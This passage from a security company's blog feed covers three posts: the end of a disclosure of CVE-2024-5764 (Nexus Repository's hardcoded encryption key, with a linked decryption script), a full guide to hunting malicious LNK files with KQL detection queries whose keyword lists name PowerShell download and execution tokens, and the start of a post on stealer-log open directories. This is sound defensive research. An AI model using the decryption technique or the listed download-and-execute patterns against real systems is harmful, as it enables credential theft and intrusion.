functionality to re-encrypt all data in the database with a custom password created by an administrator. If there was, this marking strategy wouldn’t be necessary. This theory was verified in collaboration with one of our clients, then later verified by Sonatype.</p><p>We can also verify the sensitive attributes filters used for <em>encryptSensitiveFields </em>in the MyBatis code along with the <em>SensitiveJsonFactory </em>class.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3P1k1s7Ji1DKwwWh" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gKBkb0O-Y4t0Sa0K" /></figure><p>This would indicate all passwords/secrets stored in JSON data processed by MyBatis are using this encryption logic based on a static hardcoded key. This logic would encapsulate all passwords/secrets except for the HTTP proxy credentials and the SMTP configuration credentials. An example of this is shown below with <em>OrientEmailConfigurationEntityAdapter </em>class.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0JBY5X-l07FnCCZt" /></figure><p>The SMTP password is encrypted using this logic as shown above. The same can be said for the HTTP proxy configuration details. Seen below is the serialization logic for the HTTP proxy configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oWm1dI4HO_MW3pyl" /></figure><p>As you can see, depending on the authentication type used, the logic will either encrypt the password for a basic/NTLM authentication using <em>PasswordHelper</em>, or a bearer token. With all of our discoveries so far and our suspicions after source code review, it’s time to put everything to the test and see if the encrypted strings we found earlier are using that static encryption key. The encryption wrappers ultimately lead to the <em>encrypt </em>method of the <em>PasswordCipher </em>class and can be seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w44OQ35ztqMHPRht" /></figure><p>There are multiple ways to go about testing the static encryption key. If you want the fastest testing, they include their own encryption tests for use with Maven and you could run the <em>PasswordHelper </em>tests with some modifications. If you want something more dynamic and easier to use, you could create a Python script capable of decrypting the Java encryption logic. We obviously chose the latter and our script can be seen below. It is also hosted on GitHub and available for public download/use <a href="https://github.com/fin3ss3g0d/CVE-2024-5764">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1e5o87o88j4E_tJu" /></figure><p>Remember our dummy LDAP credentials from earlier and how we revealed them from a .pcl file? I couldn’t think of a better test for our script!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MKYYLnpuVXR8RFoE" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3PEY55ahEmGmlUEo" /></figure><p>As you can see, the decryption was successful using the static encryption key we identified in the source code! Mission success! Did someone say lateral movement into Active Directory via decrypted LDAP credentials? How about sending a phish through a trusted SMTP server at an organization with decrypted SMTP credentials to evade email filtering? I like the sound of that!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FCQyRtZYUtZsisXw" /></figure><p>I know we are having so much fun, but that’s not the only fun we can have here using the directory traversal vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/0*hDpsFdav8IeTOehD" /></figure><p>There are also Apache Shiro hashes stored within these .pcl files that are capable of being cracked with a custom hashcat module developed during this research. Read all about this attack vector <a href="https://medium.com/maverislabs/crack-faster-hack-smarter-c0c4defbcae7">here</a>.</p><h3>Remediation Evaluation</h3><p>Sonatype has addressed the vulnerability and communicated that the issue has been resolved. Their prompt action is commendable, but I wanted to take a closer look to evaluate the effectiveness of the implemented solutions. Sonatype introduced the ability to perform re-encryption of secrets in the database and released a post outlining the steps for re-encryption <a href="https://help.sonatype.com/en/re-encryption-in-nexus-repository.html">here</a>. The fix involves setting custom encryption passwords per secret in a JSON file on disk versus the global static, hardcoded key. The problem is the approach still relies on static encryption keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8ojfK7LBtdZTUzqY" /></figure><p>Below are the steps for re-encryption according to Sonatype:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZovNtVgYgBZjjlW1LqcSEw.png" /></figure><p>You then can inform Nexus about the path to the file by specifying it inside of the <em>nexus.properties</em> file or an environment variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h_aJZFdGqOrFoOLO" /></figure><p>It is a good initiative from Sonatype to create this re-encryption functionality and allow administrators to set custom encryption passwords per secret in the database. If administrators decide to use the functionality and data were to get leaked from a system, attackers will not be able to decrypt it using the default static key without file system access. In other words, it offers <em>some</em> protection but is not bulletproof by <em>any</em> means.</p><p>If an attacker <em>were</em> to gain file system access, because they do <em>not</em> need to be authenticated to Nexus to view this file or the environment variable (<em>/proc/&lt;pid&gt;/environ</em>), they are easily able to view the path and display the contents of the file. Since the file contains all of the encryption passwords in plaintext, an attacker can easily use the decryption script shared earlier to decrypt credentials in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DpIVEQ-oQe15y-4T" /></figure><p>During discussions with Sonatype, I explained the use of a global static encryption key that is hardcoded is unnecessary and risky in and of itself. I bring this up because Sonatype is still shipping the application with this default static, hardcoded key until an administrator goes through the re-encryption process. Not all administrators may choose to do the re-encryption for whatever reason and there will still be traces of this key throughout Nexus instances. I suggested a randomly generated key that gets created upon initial installation per instance would be a much better approach, <em>if</em> you even wanted to go the route of static encryption keys saved to disk. We very well might see decrypted secrets for years to come due to this static key and installations still coming shipped with it by default.</p><h3>Conclusion</h3><p>In conclusion, CVE-2024–5764 allows anyone with file system access to decrypt passwords/secrets stored within the Nexus Repository Manager 3 OrientDB database. An administrator can set a custom password at any point, but anything encrypted with the default static passphrase will remain encrypted with the default indefinitely until the instance is patched and re-encryption takes place. This attack vector allows attackers to decrypt highly sensitive information such as passwords/secrets, allowing access to other systems and can serve as a lateral movement primitive.</p><p>This blog is also cross posted on my personal blog that you can find <a href="https://fin3ss3g0d.net/index.php/2024/12/27/static-keys-shattered-security-dreams-a-cve-2024-5764-story/">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*vjkMsBDyg6D8IQpw.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c76ee594adc2" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/static-keys-shattered-security-dreams-a-cve-2024-5764-story-c76ee594adc2">Static Keys, Shattered Security Dreams: A CVE-2024–5764 Story</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting Malicious Shortcut (.LNK) Files Using the VirusTotal API]]></title>
            <link>https://medium.com/maverislabs/hunting-malicious-shortcut-lnk-files-using-the-virustotal-api-970d3799d5a5?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/970d3799d5a5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[Manuel Arrieta]]></dc:creator>
            <pubDate>Mon, 18 Nov 2024 13:34:52 GMT</pubDate>
            <atom:updated>2024-11-18T13:34:52.184Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKFUqETTCstd2tD43BYETA.jpeg" /></figure><p>This post will discuss methodology for leveraging the VirusTotal (VT) API to gather malicious LNK samples and subsequently tailoring analytics to hunt for observed trends. The analytics presented are for Microsoft Defender for Endpoint (MDE) using KQL.</p><h3>Introduction</h3><p>As threat hunters, we must remain proactive in our approaches to identifying anomalous activity within the environments we are tasked to protect. However, based on our particular industry, tools, telemetry, and security controls, we might not be exposed to the latest threat actor TTPs or campaigns as often as other organizations. For instance, certain defense-in-depth configurations may block malicious files at the network perimeter long before they can reach and execute on an endpoint. In these cases, we may rely more heavily on external intelligence to build our threat hunts, as it is worthwhile to investigate such files to better understand the potential threat in the event that security controls are circumvented.</p><p>Thus, that is where the VT corpus comes into play. The VT corpus provides a wealth of telemetry for files we might not encounter otherwise. If utilized practically, VT can provide a broad overview of the threat landscape beyond your organization. It can also facilitate the identification of trends in threat actor activity for building threat hunts. Therefore, this blog post will cover using the VT API for gathering malicious shortcut files, which continue to offer an effective avenue of initial access.</p><h3>Background on Shortcut Files</h3><p>As the bulk of this post will cover the command line parameters contained within the target field of shortcut files, I will not spend too much time covering the basics of the file format. An excellent write-up of shortcut files by researchers at Cybereason can be found <a href="https://www.cybereason.com/hubfs/Insights/Research/threat-analysis-purple-team-taking-shortcuts-LNK-files.pdf">here</a>. Accordingly, for the purpose of this hunt, we will focus on the following attributes of shortcut files:</p><ul><li>Shortcut files are graphical pointers to files, commands, or network resources.</li><li>The initiating process in any process tree for an LNK attack is explorer.exe.</li><li>Shortcut files are easily weaponized for initial access and are often chained with other techniques.</li><li>The Windows GUI limitation for shortcut files is 260 characters, but the entire target field supports up to 4096 characters. This distinction is important as the GUI may not be representative of a shortcut file’s capabilities.</li></ul><h3>VirusTotal API and CLI</h3><p>The VirusTotal <a href="https://docs.virustotal.com/reference/overview">API</a> offers a variety of endpoints for retrieving data from its file corpus. In addition, VT makes it trivial to obtain data using its <a href="https://github.com/VirusTotal/vt-cli">CLI</a> tool, which can be run as a standalone executable or built manually. Please note, a VirusTotal API key is needed to utilize either resource. One of the advantages of using the CLI is the ability to query the VT corpus using <a href="https://virustotal.readme.io/docs/file-search-modifiers">VT Intelligence syntax</a>. This allows us to construct precise queries to collect files in bulk. Although equivalent data can be accessed directly through the VT website, the number of samples you can view at once is limited. Likewise, only results visible on the page will available for download.</p><h3>Gathering Malicious LNK Samples</h3><p>In order to scope results for this blog post, we will focus on malicious LNK file samples which exhibit some type of network activity. That is, by querying LNK samples with network behavior, it may allow us to observe some of the latest initial access techniques for shortcut files in the wild. Using the VT CLI on our Windows host, we run the following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*alCJKs-cN72xl3fV7Jq1wQ.png" /></figure><pre>vt search &quot;type:lnk have:behavior_network fs:30d+ p:15+ tag:long-command-line-arguments&quot; -i sha256,exiftool.FileTypeExtension,exiftool.TargetFileDOSName,exiftool.CommandLineArguments,exiftool.LocalBasePath - format json - limit 1000 &gt; lnk_output.json</pre><p>A breakdown of the command is as follows:</p><ul><li><strong>type:lnk</strong> — searches for LNK file extensions.</li><li><strong>have:behavior_network</strong> — files containing behavioral reports related to networks.</li><li><strong>fs:30d+</strong> — first submission datetime to VirusTotal is in the last 30 days.</li><li><strong>p:15+</strong> — file has been detected by 15 or more AV engines.</li><li><strong>tag:long-command-line-arguments </strong>— files containing the <a href="https://virustotal.readme.io/docs/intelligence-tag-list">tag literal</a> specified.</li><li><strong>-i</strong> — include only specific data from the file report. In this case, sha256, file extension, target file name, command line arguments, local path.</li><li><strong>- -format json- -limit 1000 &gt; lnk_output.json</strong> — download the first 1000 results in JSON format and output to lnk_output.json.</li></ul><p>At the time of writing, our query returned 614 samples first submitted to VT during the last month. Next, let us review a small sample of results returned by our query. Each result in lnk_output.json will contain command line arguments, file extension, target file (the process the shortcut file points to), and SHA256 hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V5xnvWArPRxJYEIpDnJAgQ.png" /><figcaption>Contents of lnk_output.json</figcaption></figure><p>If we opted to run the equivalent VT Intelligence query through the VT website, the results would appear as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g0DVTyof8eGj-FBmKIaLtg.png" /><figcaption>VT Intelligence query output for type:lnk have:behavior_network fs:30d+ p:15+ tag:long-command-line-arguments</figcaption></figure><h3>Analyzing LNK Samples</h3><p>At this point, we have a dataset comprised of 614 LNK file samples in JSON format. Our goal will be to aggregate the data and extract meaningful patterns of behavior by applying data analysis techniques. Of course, much of what we will explain can be accomplished with Splunk or similar enterprise tools. In general, this involves importing the JSON file, normalizing the data, and running queries against it. Correspondingly, the following sections will detail methodology in analyzing our dataset.</p><h4>Stack Counting</h4><p>First, we utilize stack counting to procure the most common target field referenced in our LNK samples. For example, the LNK target field is highlighted in yellow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*obmg57Yjsc17EMsbEANpTA.png" /><figcaption>Sample shortcut file containing a malicious target field</figcaption></figure><p>We accomplish our stack counting by running a PowerShell command to extract the relevant TargetFileDOSName (target field) object from lnk_output.json and count the occurrences of each:</p><pre>Get-Content lnk_output.json | ConvertFrom-Json | ForEach-Object { $_.exiftool.TargetFileDOSName } | Group-Object | Select-Object Name, Count | Sort-Object Count -Descending</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*q8wLoYXrUtkGuzTrxZujyg.png" /><figcaption>Output of the stack counting PowerShell command against lnk_output.json</figcaption></figure><p><em>Note, our PowerShell command only accounted for 597 TargetFileDOSName values instead of the initial 614 results contained with lnk_output.json. The reason is due to some results not containing a value for TargetFileDOSName.</em></p><p>Overall, stack counting allows us to visualize which initial processes are being abused by malicious shortcut file submissions in the past month. We will make a mental note of these results for now and will translate these findings into MDE analytics later in this post.</p><h4>Frequency Analysis: Preparing the Data</h4><p>Conversely, the analysis of command line parameters within our dataset will be more nuanced given the variation in applicable syntax and arguments native to each process. Moreover, recall that each target field contains command lines which can span up to 4096 characters. Hence, stack counting will not be an effective method of analysis under these circumstances. Instead, we will analyze command line arguments individually by focusing on frequency within the dataset.</p><p>As such, we start with grouping command lines by target process and parsing each command line argument by using the space character as a delimiter. For this post, I will demonstrate against the top two target processes obtained from our stack counting: Cmd.exe and PowerShell.exe. The following PowerShell script will group command lines by process, parse each command line argument, and output results for each to a text file:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c19fe2f1cb51b20930d6f5a31438c524/href">https://medium.com/media/c19fe2f1cb51b20930d6f5a31438c524/href</a></iframe><p>After running the script against lnk_output.json, Cmd.exe produced output containing 3,021 lines and PowerShell.exe yielded 1,726 lines (each line represents a command line argument). A small sample of each file is as follows:</p><p>Cmd.exe output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*UFAdcMLHacLbjXy_fvmNHA.png" /><figcaption>cmd_output.txt sample</figcaption></figure><p>PowerShell.exe output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*PLmoaVcYETiVTfKHJuzhkg.png" /><figcaption>ps_output.txt sample</figcaption></figure><h4>Frequency Analysis: Visualizations</h4><p>Once again, we will not be relying on enterprise-grade tools and will utilize free text analysis resources instead. Specifically, I found <a href="https://voyant-tools.org/">Voyant Tools</a> to be the most in-depth and user-friendly tool for this task. With the Cmd.exe and PowerShell.exe dataset uploaded to the website, we can apply a simple visualization technique which relies on frequency analysis: word clouds. In essence, word clouds and individual word frequencies help illustrate integral patterns of command line arguments that may be employed during initial access via shortcut files. To that effect, the following word clouds are comprised of the top 25 command line arguments for Cmd.exe and PowerShell.exe datasets, respectively:</p><p>Cmd.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*uHqalMpo1S1yLlY-E54yCQ.png" /><figcaption>Word cloud for the top 25 terms in the Cmd.exe dataset</figcaption></figure><p>PowerShell.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*1UQLDF4c79Ufu_BGuhcz6w.png" /><figcaption>Word cloud for the top 25 terms in the PowerShell.exe dataset</figcaption></figure><p>Consequently, we can tailor MDE analytics to these observations and even emulate these techniques in our own environment to uncover potential detection gaps. Although the methodology is not perfect for capturing heavily obfuscated arguments, it still enables us to quickly formulate patterns within our dataset. Moreover, the word clouds do not provide much context on how a singular argument is utilized. In cases were interesting arguments arise, you may want to take a closer look at these results to gain relevant context for high-fidelity analytics.</p><h3>Building our Threat Hunt Analytics</h3><p>As the primary focus of our analytics will be initial access through shortcut files, we will incorporate some temporal logic for correlation. That is, analytics will target endpoints where explorer.exe creates a shortcut file, proceeded by explorer.exe spawning Cmd.exe or PowerShell.exe; however, Cmd.exe or PowerShell.exe must contain any number of command line arguments derived from frequency analysis. Finally, all of the activity must occur within a predefined time interval — in this case, we will set the value to within two minutes of shortcut file creation. To summarize, analytics will detect activity assuming the following scenario:</p><ul><li>Explorer.exe creates a shortcut file on endpoint A.</li><li>Endpoint A also happens to launch Cmd.exe or PowerShell.exe with select command line arguments. The parent process for the activity <em>must</em> be explorer.exe.</li><li>All activity occurs within 2 minutes of the initial shortcut file being created on endpoint A.</li></ul><p>Since command line arguments denoted in the word clouds are unique to Cmd.exe and PowerShell.exe, we will separate analytics on a target process basis. Therefore, our analytics for detecting potential initial access via shortcut files spawning Cmd.exe or PowerShell.exe are as follows:</p><p><strong>LNK File Creation and Suspicious Cmd.exe Activity</strong></p><pre><br>let cmd_args= dynamic ([&quot;start&quot;, &quot;cls&quot;, &quot;set&quot;, &quot;exit&quot;, &quot;hidden&quot;, &quot;iex&quot;, &quot;powershell&quot;, &quot;http&quot;, &quot;iwr&quot;, &quot;text.encoding&quot;, &quot;utf8&quot; ]); <br>DeviceFileEvents<br>| where Timestamp &gt; ago (30d)<br>| where InitiatingProcessParentFileName =~ &quot;userinit.exe&quot;<br>| where InitiatingProcessFileName =~ &quot;explorer.exe&quot;<br>| where ActionType == &quot;FileCreated&quot;<br>| where FileName endswith &quot;.lnk&quot;<br>| project LNK_Creation=Timestamp, DeviceName, InitiatingProcessAccountName, FileName <br>| join kind=inner(<br>    DeviceProcessEvents<br>    | where Timestamp &gt; ago (30d)<br>    | where InitiatingProcessFileName =~ &quot;explorer.exe&quot;<br>    | where FileName in~(&quot;cmd.exe&quot;)<br>    | where ProcessCommandLine has_any (cmd_args)<br>    | project ProcessCreated=Timestamp, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine <br>    )<br>    on DeviceName, InitiatingProcessAccountName<br>| where ProcessCreated between ((LNK_Creation - timespan(0min)) .. (LNK_Creation + timespan(2min))) <br>| project LNK_Creation, ProcessCreated, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine</pre><p><strong>LNK File Creation and Suspicious PowerShell.exe Activity</strong></p><pre>let ps_args= dynamic ([&quot;https&quot;, &quot;hidden&quot;, &quot;windowstyle&quot;, &quot;new&quot;, &quot;echo&quot;, &quot;object&quot;, &quot;system.net.webclient&quot;, &quot;start&quot;, &quot;temp&quot;, &quot;uri&quot;, &quot;null&quot;, &quot;process&quot;, &quot;securityprotocol&quot;, &quot;net.servicepointmanager&quot;, &quot;uploads&quot;, &quot;wp&quot;, &quot;invoke&quot;, &quot;webrequest&quot; ]); <br>DeviceFileEvents<br>| where Timestamp &gt; ago (30d)<br>| where InitiatingProcessParentFileName =~ &quot;userinit.exe&quot;<br>| where InitiatingProcessFileName =~ &quot;explorer.exe&quot;<br>| where ActionType == &quot;FileCreated&quot;<br>| where FileName endswith &quot;.lnk&quot;<br>| project LNK_Creation=Timestamp, DeviceName, InitiatingProcessAccountName, FileName <br>| join kind=inner(<br>    DeviceProcessEvents<br>    | where Timestamp &gt; ago (30d)<br>    | where InitiatingProcessFileName =~ &quot;explorer.exe&quot;<br>    | where FileName in~(&quot;powershell.exe&quot;)<br>    | where ProcessCommandLine has_any (ps_args)<br>    | project ProcessCreated=Timestamp, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine <br>    )<br>    on DeviceName, InitiatingProcessAccountName<br>| where ProcessCreated between ((LNK_Creation - timespan(0min)) .. (LNK_Creation + timespan(2min))) <br>| project LNK_Creation, ProcessCreated, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine</pre><p>Overall, these analytics should serve as a good starting point for a proactive threat hunt albeit, you may need to exclude certain command line parameters or common shortcut files depending on your environment.</p><h3><strong>Summary</strong></h3><p>In conclusion, I demonstrated how to leverage the VT API to obtain malicious LNK samples in bulk. We then analyzed the samples to extract meaningful patterns of behavior, which were then incorporated to threat hunt analytics. The methodology presented is applicable to other file types, dynamic behaviors, etc., provided you use the relevant VT intelligence query.</p><h3><strong>References</strong></h3><p><a href="https://www.cybereason.com/blog/threat-analysis-taking-shortcuts-using-lnk-files-for-initial-infection-and-persistence">https://www.cybereason.com/blog/threat-analysis-taking-shortcuts-using-lnk-files-for-initial-infection-and-persistence</a></p><p><a href="https://docs.virustotal.com/reference/overview">https://docs.virustotal.com/reference/overview</a></p><p><a href="https://github.com/VirusTotal/vt-cli">https://github.com/VirusTotal/vt-cli</a></p><p><a href="https://virustotal.readme.io/docs/file-search-modifiers">https://virustotal.readme.io/docs/file-search-modifiers</a></p><p><a href="https://voyant-tools.org/docs/#!/guide/tools">Voyant Tools Help</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*yi9d1FXHKHMnJ0gk.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=970d3799d5a5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/hunting-malicious-shortcut-lnk-files-using-the-virustotal-api-970d3799d5a5">Hunting Malicious Shortcut (.LNK) Files Using the VirusTotal API</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Open for Business: How Open Directories Expose Bulletproof Hosting Operations]]></title>
            <link>https://medium.com/maverislabs/open-for-business-how-open-directories-expose-bulletproof-hosting-operations-ab22989c1619?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/ab22989c1619</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Joseph B]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 04:20:25 GMT</pubDate>
            <atom:updated>2024-10-04T04:20:25.894Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NBXnO9zAXniKLOqN" /><figcaption>Photo by <a href="https://unsplash.com/@add_rien_20?utm_source=medium&amp;utm_medium=referral">Adrien</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In this post, I’ll introduce the Censys platform and explore its capabilities for providing insights into threat actor operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzaYFVEZs02qODsAJGHiKw.png" /></figure><h3>What is Censys?</h3><p><a href="https://censys.com/">Censys</a> is an advanced search engine designed for comprehensive threat research. It offers deep insights into the structure and security of internet-facing devices by leveraging large-scale scanning to collect and analyze data from exposed systems. This includes information about protocols, SSL/TLS certificates, and services. As a result, Censys has become an indispensable resource for threat hunters, security analysts, and researchers looking to understand the attack surface, uncover vulnerabilities, and monitor internet-connected assets.</p><p>The platform’s real-time visibility into exposed systems allows users to identify emerging threats and misconfigurations that could be exploited by malicious actors. It also provides powerful search capabilities and visualizations, enabling users to analyze trends across different devices, certificates, and network protocols. This level of granularity is crucial for uncovering potential risks that may not be visible through other tools, making Censys an essential component for organizations aiming to secure their networks proactively and respond to the evolving cyber threat landscape.</p><p><a href="https://censys.com/search-pricing/">Censys</a> offers a free community plan that allows a single user to perform up to 250 queries per month — sufficient to conduct the research outlined in this article.</p><p>In a recent Censys <a href="https://censys.com/a-beginners-guide-to-hunting-open-directories/">blog</a> <a href="https://censys.com/simplify-threat-investigations-identify-suspicious-open-directories-with-censys-search/">post</a>, I learned about the platform’s ability to search by Autonomous System Number (ASN) and specific labels. This led me to consider that if threat actors use common infrastructure, it could be relatively straightforward to analyze their environments.</p><h3>What is an ASN?</h3><p>An ASN is a unique identifier assigned to a network or group of IP addresses operating under a single routing policy on the internet. ASNs enable networks to exchange routing information and control traffic between each other. The ability to search an ASN by specific labels on Censys allows for more targeted investigations, making it easier to identify and analyze particular networks or infrastructure.</p><h3>What is an Open Directory?</h3><p>An open directory on the internet is a publicly accessible web server or folder without proper security controls, allowing anyone to view its contents. These directories often contain files, data, or sensitive information that were either not meant to be shared publicly or were left exposed due to misconfigured settings or insufficient access restrictions.</p><p>Previous <a href="https://medium.com/@joshuapenny88/hostinghunter-series-chang-way-technologies-co-limited-a9ba4fce0f65">research</a> has linked <a href="https://detect.fyi/akira-in-the-chang-way-server-ecosystem-re-vicitimization-a9011fbc6dff">several</a> bulletproof hosting providers — operating under the same ASN — to shared Ransomware as a Service (RaaS) infrastructure. Driven by curiosity, I decided to dive deeper into one such provider.</p><h3>The Hunt</h3><blockquote>autonomous_system.asn: 5XXX3 and labels: ‘open-dir’</blockquote><p>My initial query was straightforward, yielding just four results. Each result typically includes key details such as the host IP address, operating system (OS), ASN, geolocation, labels, and the corresponding ports and services.</p><figure><img alt="A partially redacted screenshot of a Censys search results, location is Moscow, Russia" src="https://cdn-images-1.medium.com/max/1024/1*vwlWCux6NYW7WIpgCKC7pA.png" /><figcaption>Censys Search Result</figcaption></figure><p>Clicking on a specific IP reveals more information about the services running on each port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G8HApMWgvMc_ke7HG97Acg.png" /><figcaption>Result Details</figcaption></figure><p>Notice that each port has an associated label. In this case, we’re specifically interested in the ‘OPEN DIR’ label. Expanding the response body reveals the contents of the directory listing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CLKUf_bgjBsK4lRaU8QQOA.png" /><figcaption>Open-Dir Port Discovered</figcaption></figure><p>My interest is piqued, lets dig deeper to see what we can find on this host. At this point a pivot to a <a href="https://www.torproject.org/">TOR</a> session is required to review the file contents. Using TOR provides anonymity by masking your IP address and encrypting your traffic, helping to prevent attackers from tracing your activities back to you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k64-nD9Kr-UzgtRYn_sobQ.png" /><figcaption>Directory Listing</figcaption></figure><p>Navigating deeper into the folder structure returns roughly 1100 more folders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UT-BW0kZFFOQVPxHzcz6eA.png" /><figcaption>Directory Drill Down</figcaption></figure><p>A click deeper displays an entry containing three files with the following format.</p><blockquote>dxdiag.txt</blockquote><blockquote>{SID}.cdb</blockquote><blockquote>{SID}.ldb</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*THm1SoFucxTugRfwIp9oGQ.png" /><figcaption>Single Record</figcaption></figure><h4>dxdiag.exe</h4><p>According to <a href="https://support.microsoft.com/en-us/windows/open-and-run-dxdiag-exe-dad7792c-2ad5-f6cd-5a37-bf92228dfd85">Microsoft Support</a>, <em>dxdiag.exe</em> is &quot;used to collect info about devices to help troubleshoot problems with DirectX sound and video.&quot; The native tool is located at <em>C:\Windows\System32\dxdiag.exe</em>, and its output is saved as a file named <em>dxdiag.txt</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NcGbe5j9aqjKWkFqKq29xQ.png" /><figcaption>ProcDot trace for dxdiag.exe</figcaption></figure><p>Examining one of these entries provides a highly detailed view of a Windows machine, including information such as the machine name, OS, build version, language, motherboard manufacturer, BIOS version, processor, memory, display devices, drivers, feature support, and connected I/O support. To see this in action, you can run the tool on your own machine; the expected output is a comprehensive report around 1,600 lines long.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qMhH3g9IkxTsdvbIRaVSbA.png" /><figcaption>dxdiag.txt</figcaption></figure><h4>.cdb &amp; .ldb</h4><p>The other two files appear to be named after a Windows Security Identifier (SID), a unique value used to identify a security entity within Windows. In short, any computer, user, or group is assigned a SID for various security-related functions.</p><p>By reviewing copies of each file in a hex editor within a virtual machine (VM), I could access the file headers. Seeing the “SQLite format 3” header brought a smile to my face; generally, when this header is visible, the file’s contents are not encrypted. SQLite 3 is a self-contained, serverless, lightweight database engine that uses SQL to manage data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekJ_q_pVG4TB_AWiVwEzgQ.png" /><figcaption>File Header Review via 010 Editor</figcaption></figure><p>Next, I downloaded a free SQLite browser from sqlitebrowser.org. As anticipated, the contents were a flat file with unencrypted data. The database structure of the file ending in <em>.cdb</em> contained several tables. Based on the contents, it’s reasonable to assume that the “c” in <em>.cdb</em> stands for “Cookie.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P5gQ1j7xQE_QjHvqCfrUZA.png" /><figcaption>.cdb Table View</figcaption></figure><p>From the data view we can see cookie details with timestamps to include an expiration date.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CR8JvKoC2xjpEsgHNbHKIA.png" /><figcaption>.cdb cookies data</figcaption></figure><p>A closer inspection of the second database revealed even more compelling details. It’s likely that the “l” in <em>.ldb</em> stands for “Logs,” as this database focuses on capturing credentials. The structure is highly robust, and the level of detail that the threat actor aims to collect is quite surprising.</p><figure><img alt="" 